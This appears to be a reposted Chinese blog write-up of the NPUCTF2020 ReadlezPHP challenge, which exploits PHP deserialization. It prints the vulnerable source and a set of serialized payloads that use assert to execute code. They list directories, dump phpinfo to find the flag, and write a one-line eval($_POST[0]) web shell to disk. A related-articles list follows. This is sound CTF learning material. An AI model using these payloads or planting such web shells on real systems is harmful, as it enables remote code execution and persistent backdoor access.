当前位置: 首页 > news >正文

[NPUCTF2020]ReadlezPHP

从响应源码中可以看到:

<p>百万前端的NPU报时中心为您报时:<a href="./time.php?source"></a></p>
<SCRIPT language=javascript>
function runClock() {
theTime = window.setTimeout("runClock()", 100);
var today = new Date();
var display= today.toLocaleString();
window.status=""+display+"大黑阔HELEN";
}runClock();
</SCRIPT>

访问/time.php?source:

 <?php
#error_reporting(0);
class HelloPhp
{public $a;public $b;public function __construct(){$this->a = "Y-m-d h:i:s";$this->b = "date";}public function __destruct(){$a = $this->a;$b = $this->b;echo $b($a);}
}
$c = new HelloPhp;if(isset($_GET['source']))
{highlight_file(__FILE__);die(0);
}@$ppp = unserialize($_GET["data"]);2025-07-25 07:13:09

反序列化漏洞,魔术方法中$a($b)应该是函数调用吧。尝试一下:

直接就成功了。

那植入一句话木马试试:

 O:8:"HelloPhp":2:{s:1:"a";s:8:"echo 123";s:1:"b";s:4:"eval";}

访问就出错,应该是eval不能使用。哦对eval不是函数,不能用在函数动态调用。

(补充:O:8:"HelloPhp":2:{s:1:"a";s:15:"eval($_POST[0])";s:1:"b";s:6:"assert";}能植入木马)

尝试一下file_get_contents('index.php')发现直接返回首页了,为啥呢?

O:8:"HelloPhp":2:{s:1:"a";s:22:"var_dump(scandir('.'))";s:1:"b";s:6:"assert";}

assert 断言检测 用于判断一个表达式是否成立,返回true or false,会执行其中的表达式

执行结果:array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(8) "time.php" } 2025-07-25 08:21:52

O:8:"HelloPhp":2:{s:1:"a";s:33:"var_dump(scandir('../../../../'))";s:1:"b";s:6:"assert";}

执行结果:

array(23) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(10) "FIag_!S_it" [4]=> string(3) "bin" [5]=> string(4) "boot" [6]=> string(3) "dev" [7]=> string(3) "etc" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(3) "sys" [20]=> string(3) "tmp" [21]=> string(3) "usr" [22]=> string(3) "var" } 2025-07-25 08:23:46

没找到flag,尝试植入一句话木马:

O:8:"HelloPhp":2:{s:1:"a";s:66:"file_put_contents('shell.php','<?php @eval($_POST[0]);echo 123?>')";s:1:"b";s:6:"assert";}

可以看到成功了。但是用蚁剑连接后看不到任何文件。 手动传参发现网页直接出错了,不知道为啥。看一眼答案,flag居然通过phpinfo()看到。

O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

在Environment里面可以看到flag。

总结一下:这道题考了反序列化和动态函数调用。有几个需要注意的点,第一,eval不是函数;第二,flag可能在php配置信息中。不知道为什么这里植入一句话木马之后不能正常使用。

http://www.lryc.cn/news/600095.html

相关文章:

  • CSS 盒子模型学习版的理解
  • C语言第 9 天学习笔记:数组(二维数组与字符数组)
  • ODFM(正交频分复用)系统中加入汉明码(Hamming Code)的主要目的是增强抗误码能力,通过**前向纠错(FEC)**机制提高传输可靠性
  • KNN算法:从原理到实战全解析
  • Kubernetes深度解析:企业级容器编排平台的核心实践
  • 内存 管理
  • LeetCode 233:数字 1 的个数
  • ACL:访问控制列表
  • 大数据中心——解读60页IDC云数据中心机房运维服务解决方案【附全文阅读】
  • MMRotate ReDet ReFPN 报错 `assert input.type == self.in_type`
  • Linux的磁盘存储管理实操——(下二)——逻辑卷管理LVM的扩容、缩容
  • ComfyUI中运行Wan 2.1工作流,电影级视频,兼容Mac, Windows
  • 一些常见的网络攻击方式
  • 与 TRON (波场) 区块链进行交互的命令行工具 (CLI): tstroncli
  • 关闭chrome自带的跨域限制,简化本地开发
  • 【Chrome】下载chromedriver的地址
  • 中国航天集团实习第一周总结
  • 低速信号设计之 SWD 篇
  • 随机抽签服务API集成指南
  • python学习DAY22打卡
  • 如何评估一个RWA项目的可信度?关键指标解析
  • 图书推荐-由浅入深的大模型构建《从零构建大模型》
  • C语言————原码 补码 反码 (日渐清晰版)
  • openGauss数据库在CentOS 7 中的单机部署与配置
  • 在幸狐RV1106板子上用gcc14.2本地编译安装ssh客户端/服务器、vim编辑器、sl和vsftpd服务器
  • 基础很薄弱如何规划考研
  • 解密负载均衡:如何轻松提升业务性能
  • QT开发---多线程编程
  • 【SpringAI实战】ChatPDF实现RAG知识库
  • XORIndex:朝鲜不断发展的供应链恶意软件再次瞄准 npm 生态系统